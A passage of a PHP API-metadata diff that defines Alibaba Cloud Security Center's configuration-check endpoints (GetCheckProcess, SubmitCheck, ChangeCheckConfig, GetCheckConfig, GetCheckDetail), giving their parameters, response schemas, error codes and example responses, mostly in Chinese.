**22**：文件存储NAS'."\n" + .'- **23**：数据安全中心'."\n" + .'- **24**：弹性公网IP'."\n" + .'- **25**：云身份服务-EIAM'."\n" + .'- **26**：PolarDB-X'."\n" + .'- **27**：Elasticsearch', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + ], + ], + ], + 'Value' => [ + 'description' => '厂商类型ID。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0D42A83F-CE33-5F54-A5AE-05DA39F59E1B\\",\\n \\"Vendors\\": [\\n {\\n \\"Name\\": \\"ALIYUN\\",\\n \\"InstanceTypes\\": [\\n {\\n \\"Name\\": \\"ECS\\",\\n \\"InstanceSubTypes\\": [\\n {\\n \\"Name\\": \\"SECURITY_GROUP\\",\\n \\"Value\\": 1\\n }\\n ],\\n \\"Value\\": 15\\n }\\n ],\\n \\"Value\\": 0\\n }\\n ]\\n}","type":"json"}]', + 'title' => '云平台配置检查资产和子资产列表', + ], + 'GetCheckProcess' => [ + 'summary' => '查询云平台配置检查任务进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '119340', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的云产品配置检查的任务ID。'."\n" + .'> 您可以调用[SubmitCheck](~~SubmitCheck~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '5347c7b6-c85c-4070-846a-3029e08e****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'GetCheckProcessResponse', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '检查资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '113', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D18B5DAD-BA97-5552-AE48-83F59D5F****', + ], + 'FinishCount' => [ + 'description' => '已检查资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + 'StatusCode' => [ + 'description' => 'CSPM检测任务状态码，枚举值：'."\n" + .'- 0：任务初始化中，正在统计任务总数。'."\n" + .'- 1：任务执行中，可查询总任务数和已完成任务数。'."\n" + .'- 2：任务执行成功。'."\n" + .'- 3：任务执行超时。'."\n" + .'- 4：任务无效，请检查有无有效检测资产。'."\n" + .'- 5：无任务记录，请检查TaskID是否正确。', + 'type' => 'string', + 'example' => '1', + ], + 'TaskId' => [ + 'description' => '指定要查询的云产品配置检查的任务ID。', + 'type' => 'string', + 'example' => '5347c7b6-c85c-4070-846a-3029e08e****'."\n", + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 113,\\n \\"RequestId\\": \\"D18B5DAD-BA97-5552-AE48-83F59D5F****\\",\\n \\"FinishCount\\": 80,\\n \\"StatusCode\\": \\"1\\",\\n \\"TaskId\\": \\"5347c7b6-c85c-4070-846a-3029e08e****\\\\n\\"\\n}","type":"json"}]', + 'title' => '查询云平台配置检查任务进度', + ], + 'SubmitCheck' => [ + 'summary' => '提交云产品配置检查。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'paid', + 'abilityTreeCode' => '119327', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ScanRange', + 'in' => 'query', + 'schema' => [ + 'description' => '检查范围，取值：'."\n" + .'- **FULL**：扫描所有检查项'."\n" + .'- **POLICY**：扫描自定义配置的检查项', + 'type' => 'string', + 'required' => false, + 'example' => 'POLICY', + ], + ], + [ + 'name' => 'TaskSource', + 'in' => 'query', + 'schema' => [ + 'description' => '任务来源。取值：'."\n" + ."\n" + .'- **YAO_CHI**：瑶池控制台。', + 'type' => 'string', + 'required' => false, + 'example' => 'YAO_CHI', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'SubmitCheckResponse', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '执行云产品配置检查的任务ID。', + 'type' => 'string', + 'example' => '5fe3f65d-4012-455d-8232-2a98a858****', + ], + 'Data' => [ + 'description' => '接口调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'OperateCode' => [ + 'description' => '云产品配置检测任务操作码。'."\n" + ."\n" + .'- **Throttling**：频率限制'."\n" + .'- **AuthorizationExhaust**：授权数不足', + 'type' => 'string', + 'example' => 'Throttling', + ], + 'ThrottlingTimeSecond' => [ + 'description' => '频率限制时长。单位：秒。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1800', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE8369A6-A843-5E1B-A613-78E6920D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TaskId\\": \\"5fe3f65d-4012-455d-8232-2a98a858****\\",\\n \\"Data\\": {\\n \\"OperateCode\\": \\"Throttling\\",\\n \\"ThrottlingTimeSecond\\": 1800\\n },\\n \\"RequestId\\": \\"CE8369A6-A843-5E1B-A613-78E6920D****\\"\\n}","type":"json"}]', + 'title' => '提交云产品配置检查', + ], + 'ChangeCheckConfig' => [ + 'summary' => '修改云平台配置检查配置项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '125446', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '云安全中心实例地域。取值为：'."\n" + ."\n" + .'- **cn-hangzhou：** 中心'."\n" + .'- **ap-southeast-1：** 新加坡', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'CycleDays', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '周期检测时间。', + 'type' => 'array', + 'items' => [ + 'description' => '周期执行时间点，取值表示每周周几。取值：1、2、3、4、5、6、7。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '3', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检查时间段开始时间，表示每天几点。 查询的开始时间和结束只能在以下时间区间中选择。取值：0、6、12、18。'."\n" + ."\n" + .'- **0~6**：当开始时间为0时，结束时间需要设置为当日6时。'."\n" + .'- **6~12**：当开始时间为6时，结束时间需要设置为当日12时。'."\n" + .'- **12~18**：当开始时间为12时，结束时间需要设置为当日18时。'."\n" + .'- **18~24**：当开始时间为18时，结束时间需要设置为当日24时。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '检查时间段结束时间，表示每天几点。 查询的开始时间和结束只能在以下时间区间中选择。取值：6、12、18、24。'."\n" + ."\n" + .'- **0~6**：当开始时间为0时，结束时间需要设置为当日6时。'."\n" + .'- **6~12**：当开始时间为6时，结束时间需要设置为当日12时。'."\n" + .'- **12~18**：当开始时间为12时，结束时间需要设置为当日18时。'."\n" + .'- **18~24**：当开始时间为18时，结束时间需要设置为当日24时。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '6', + ], + ], + [ + 'name' => 'StandardIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '该参数作废，无需关注。', + 'type' => 'array', + 'items' => [ + 'description' => '该参数作废，无需关注。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'ConfigRequirementIds', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '通过传入的条例的ID配置检查策略。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取条例ID。若配置 ConfigStandardIds 参数，则此参数不生效。', + 'type' => 'object', + 'properties' => [ + 'AddIds' => [ + 'description' => '向策略中增加的条例ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '向策略中增加的条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '6', + ], + 'required' => false, + ], + 'RemoveIds' => [ + 'description' => '从策略中移除的条例ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '从策略中移除的条例ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '5', + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'ConfigStandardIds', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '通过传入的标准的ID配置检查策略。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取标准ID。', + 'type' => 'object', + 'properties' => [ + 'AddIds' => [ + 'description' => '向策略中增加的标准ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '向策略中增加的标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '2', + ], + 'required' => false, + ], + 'RemoveIds' => [ + 'description' => '从策略中移除的标准ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '从策略中移除的标准ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '5', + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'EnableAutoCheck', + 'in' => 'query', + 'schema' => [ + 'description' => '是否开启自动周期检测。可取值：'."\n" + ."\n" + .'- **true：** 开启'."\n" + .'- **false：** 关闭', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'EnableAddCheck', + 'in' => 'query', + 'schema' => [ + 'description' => '当所选条例中有新增检查项时，是否默认检查。可取值：'."\n" + ."\n" + .'- **true：** 开启'."\n" + .'- **false：** 关闭', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'AddedCheck', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'description' => '策略中增加的检查项列表。'."\n" + .' 若配置 ConfigStandardIds 参数或者 ConfigRequirementIds 参数，则此参数不生效。 >', + 'type' => 'array', + 'items' => [ + 'description' => '策略中增加的检查项。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '5', + ], + 'SectionId' => [ + 'description' => '检查项的章节ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '69', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + [ + 'name' => 'RemovedCheck', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'description' => '策略中移除的检查项列表。'."\n" + .' 若配置 ConfigStandardIds 参数或者 ConfigRequirementIds 参数，则此参数不生效。 >', + 'type' => 'array', + 'items' => [ + 'description' => '策略中移除的检查项。', + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '19', + ], + 'SectionId' => [ + 'description' => '检查项的章节ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '69', + ], + ], + 'required' => false, + ], + 'required' => false, + ], + ], + [ + 'name' => 'Vendors', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '云厂商列表。', + 'type' => 'array', + 'items' => [ + 'description' => '所属云厂商。取值：'."\n" + ."\n" + .'- **ALIYUN**：阿里云'."\n" + .'- **TENCENT**：腾讯云'."\n" + .'- **AWS**：AWS', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'Configure', + 'in' => 'query', + 'schema' => [ + 'description' => '字段配置。取值：'."\n" + ."\n" + .'- **all**：添加所有检查项。', + 'type' => 'string', + 'required' => false, + 'example' => 'all', + ], + ], + [ + 'name' => 'SystemConfig', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用系统自动生成配置。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'GetCheckConfigResponse', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6EBB8614-746D-555D-AB69-C801AEC7DCE0', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPurchase', + 'errorMessage' => 'The user did not purchase this product.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6EBB8614-746D-555D-AB69-C801AEC7DCE0\\"\\n}","type":"json"}]', + 'title' => '修改云平台配置检查配置项', + ], + 'GetCheckConfig' => [ + 'summary' => '获取云平台配置检查配置项。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'GetCheckConfigResponse', + 'description' => 'GetCheckConfigResponse', + 'type' => 'object', + 'properties' => [ + 'CycleDays' => [ + 'description' => '周期检测时间。', + 'type' => 'array', + 'items' => [ + 'description' => '周期执行时间点，取值表示每周周几。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '[1, 2, 3, 4, 5]', + ], + ], + 'StartTime' => [ + 'title' => '检查开始时间小时', + 'description' => '检查时间段开始时间，表示每天几点。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'EndTime' => [ + 'title' => '检查结束时间小时', + 'description' => '检查时间段结束时间，表示每天几点。 查询的开始时间和结束只能在以下时间区间中选择。'."\n" + ."\n" + .'- **0~6**当开始时间为0时，结束时间需要设置为当日6时。'."\n" + .'- **6~12** 当开始时间为6时，结束时间需要设置为当日12时。'."\n" + .'- **12~18** 当开始时间为12时，结束时间需要设置为当日18时。'."\n" + .'- **18~24**当开始时间为18时，结束时间需要设置为当日24时。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'Standards' => [ + 'description' => '检测项信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检测项信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'title' => 'id', + 'description' => '检测项编号。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'ShowName' => [ + 'title' => '名称', + 'description' => '检测项名称。', + 'type' => 'string', + 'example' => '云产品配置管理', + ], + 'Type' => [ + 'description' => '检测项类型。可取值：'."\n" + ."\n" + .'- **RISK：** 云产品配置管理'."\n" + .'- **IDENTITY_PERMISSION：** 身份权限管理'."\n" + .'- **COMPLIANCE：** 合规', + 'type' => 'string', + 'example' => 'RISK', + ], + 'Status' => [ + 'description' => '检测项开启状态。可取值：'."\n" + ."\n" + .'- **ON：** 开启'."\n" + .'- **OFF：** 关闭', + 'type' => 'string', + 'example' => 'ON', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5A3D5C8F-2A42-5477-BDD8-27E64B5F1739', + ], + 'EnableAutoCheck' => [ + 'description' => '是否开启自动周期检测。可取值：'."\n" + ."\n" + .'- **true：** 开启'."\n" + .'- **false：** 关闭', + 'type' => 'boolean', + 'example' => 'true', + ], + 'EnableAddCheck' => [ + 'description' => '当所选条例中有新增检查项时，是否默认检查。可取值：'."\n" + ."\n" + .'- **true：** 开启'."\n" + .'- **false：** 关闭', + 'type' => 'boolean', + 'example' => 'false', + ], + 'SelectedChecks' => [ + 'description' => '策略中选择的检查项。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'SectionId' => [ + 'description' => '检查项的章节ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '69', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CycleDays\\": [\\n 0\\n ],\\n \\"StartTime\\": 0,\\n \\"EndTime\\": 6,\\n \\"Standards\\": [\\n {\\n \\"Id\\": 1,\\n \\"ShowName\\": \\"云产品配置管理\\",\\n \\"Type\\": \\"RISK\\",\\n \\"Status\\": \\"ON\\"\\n }\\n ],\\n \\"RequestId\\": \\"5A3D5C8F-2A42-5477-BDD8-27E64B5F1739\\",\\n \\"EnableAutoCheck\\": true,\\n \\"EnableAddCheck\\": false,\\n \\"SelectedChecks\\": [\\n {\\n \\"CheckId\\": 3,\\n \\"SectionId\\": 69\\n }\\n ]\\n}","type":"json"}]', + 'title' => '云平台配置检查获取检查配置项', + ], + 'GetCheckDetail' => [ + 'summary' => '获取云平台配置检查项详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '119346', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + .'> 您可调用[ListCheckResult](~~ListCheckResult~~)接口获取该数据。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'enumValueTitles' => [ + 'en' => 'en', + 'zh' => 'zh', + ], + 'example' => 'en', + ], + ], + [ + 'name' => 'RegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '实例所在的地域的ID。'."\n" + .'> 您可调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)接口获取该数据。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'GetCheckDetailResponse', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Description' => [ + 'description' => '检查项的描述。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '描述类型，固定值为text。'."\n" + ."\n", + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项的描述的具体信息。', + 'type' => 'string', + 'example' => 'The MSE instance does not enable authentication by default. If public network access is enabled at the same time, the data in the configuration center may be dragged and there is a security risk.', + ], + 'Link' => [ + 'description' => '检查项的描述的链接。', + 'type' => 'string', + 'example' => 'https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies', + ], + ], + ], + 'Solution' => [ + 'description' => '检查项风险的解决方案。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项风险的解决方案类型。取值：'."\n" + ."\n" + .'- **text**：文本'."\n" + .'- **link**：链接'."\n", + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的解决方案类型为text时的文本内容。', + 'type' => 'string', + 'example' => 'Enter the MSE product console - registration and configuration center - instance list, click the corresponding instance name to enter the instance details, find the public network whitelist setting option in the basic information, and configure the whitelist according to business needs. It is forbidden to configure 0.0.0.0 or the whitelist as null.', + ], + 'Link' => [ + 'description' => '检查项风险的解决方案类型为link时的链接。', + 'type' => 'string', + 'example' => 'https://www.alibabacloud.com/help/en/object-storage-service/latest/tutorial-implement-data-sharing-across-departments-based-on-bucket-policies', + ], + ], + ], + 'AssistInfo' => [ + 'description' => '检查项帮助信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '检查项风险的帮助信息类型。取值：'."\n" + ."\n" + .'- **text**：文本'."\n" + .'- **link**：链接'."\n", + 'type' => 'string', + 'example' => 'text', + ], + 'Value' => [ + 'description' => '检查项风险的帮助信息类型为text时的文本内容。', + 'type' => 'string', + 'example' => 'Configure an IP address whitelist', + ], + 'Link' => [ + 'description' => '检查项风险的帮助信息类型为link时的链接。', + 'type' => 'string', + 'example' => 'https://www.alibabacloud.com/help/en/resource-access-management/latest/faq-about-ram-users', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '15A6ED6A-DBFE-5255-A248-289907809BEC', + ], + 'CustomConfigs' => [ + 'description' => '检查项自定义配置项列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项自定义配置项名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'SessionTimeMax', + ], + 'TypeDefine' => [ + 'description' => '检查项自定义配置项类型JSON字符串。', + 'type' => 'string', + 'example' => '{\\"type\\":\\"NUMBER\\",\\"range\\":[1,24]}', + ], + 'DefaultValue' => [ + 'description' => '检查项自定义配置项默认值字符串。', + 'type' => 'string', + 'example' => '12', + ], + 'Value' => [ + 'description' => '检查项自定义配置项用户配置值字符串。', + 'type' => 'string', + 'example' => '11', + ], + 'ShowName' => [ + 'description' => '检查项自定义配置项国际化名称。', + 'type' => 'string', + 'example' => 'Maximum session time'."\n", + ], + ], + ], + ], + 'RepairReset' => [ + 'description' => '>该参数已废弃>', + 'type' => 'string', + 'deprecated' => true, + 'example' => 'true', + ], + 'RepairSupportType' => [ + 'description' => '>该参数已废弃>', + 'type' => 'integer', + 'format' => 'int32', + 'deprecated' => true, + 'example' => '1', + ], + 'RepairSetting' => [ + 'description' => '检查项修复设置具体信息。', + 'type' => 'object', + 'properties' => [ + 'RepairSupport' => [ + 'description' => '该检查项支持的是否支持修复功能：'."\n" + ."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RepairSupportType' => [ + 'description' => '该检查项支持修复的类型：'."\n" + ."\n" + .'- **1**： 支持修复并支持回滚操作'."\n" + .'- **2**： 修复不支持回滚'."\n" + .'- **3**： 跳转到第三方平台操作', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RepairReset' => [ + 'description' => '该检查项支持的修复功能修复后是否重启：'."\n" + ."\n" + .'- **true**：重启'."\n" + .'- **false**： 不需要重启', + 'type' => 'boolean', + 'example' => 'true'."\n", + ], + 'RepairConfigs' => [ + 'description' => '检查项修复支持的入参配置信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '检查项自定义修复参数名称，同检查项唯一。', + 'type' => 'string', + 'example' => 'navicat', + ], + 'TypeDefine' => [ + 'description' => '检查项自定义配置项类型JSON字符串。', + 'type' => 'string', + 'example' => '{\\"type\\":\\"NUMBER\\",\\"range\\":[1,24]}'."\n", + ], + 'DefaultValue' => [ + 'description' => '检查项修复配置参数的默认值字符串。', + 'type' => 'string', + 'example' => '1', + ], + 'Value' => [ + 'description' => '用户配置的检查项修复参数字符串值。', + 'type' => 'string', + 'example' => '2', + ], + 'ShowName' => [ + 'description' => '用户修复参数配置的展示名称。', + 'type' => 'string', + 'example' => 'port', + ], + 'FlowId' => [ + 'description' => '修复配置流程对应的ID。', + 'type' => 'string', + 'example' => '64312d3ee19d470a9b54393dab****', + ], + 'CustomFlag' => [ + 'description' => '该修复参数是否支持用户自定义配置：'."\n" + ."\n" + .'- **true**：支持'."\n" + .'- **false**：不支持', + 'type' => 'boolean', + 'example' => 'true', + ], + 'ExclusiveName' => [ + 'description' => '与该参数不兼容的其他修复配置参数的数组。', + 'type' => 'array', + 'items' => [ + 'description' => '与该参数不兼容的其他修复配置参数，无法同时配置。', + 'type' => 'string', + 'example' => '["port"]', + ], + ], + 'ConsoleParamType' => [ + 'description' => '参数类型是否在控制台展示：'."\n" + .'- 0：展示回滚以及实时资产的参数值'."\n" + .'- 1：只展示资产的对应参数实时值'."\n" + .'- 2：不在控制台显示', + 'type' => 'string', + 'example' => '0', + ], + 'DataTransformType' => [ + 'description' => '数据是否加密：'."\n" + .'- 0：不需要加密'."\n" + .'- 1：需要加密传输 '."\n" + .'- 2：需要加密传输，并且需要用户二次确认', + 'type' => 'string', + 'example' => '1', + ], + 'UsageType' => [ + 'description' => '参数的使用类型：'."\n" + .'- 1：修复时需要的资产参数'."\n" + .'- 2：修复时需要用户传输的参数'."\n" + .'- 3：临时用户传入的参数', + 'type' => 'string', + 'example' => '1', + ], + 'EmptyParamSwitch' => [ + 'description' => '该参数用户是否需要填写'."\n" + .'- 0：参数有默认值'."\n" + .'- 1：参数无默认值，用户需要填写'."\n" + .'- 2：该参数可以为空', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + 'FlowStep' => [ + 'description' => '修复流程说明。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Step' => [ + 'description' => '修复的流程步骤序号。', + 'type' => 'string', + 'example' => '1', + ], + 'ShowText' => [ + 'description' => '修复流程步骤的说明文本。', + 'type' => 'string', + 'example' => 'The first step is to open the calling interface.', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Description\\": {\\n \\"Type\\": \\"text\\",\\n \\"Value\\": \\"The MSE instance does not enable authentication by default. If public network access is enabled at the same time, the data in the configuration center may be dragged and there is a security risk.\\",\\n \\"Link\\": 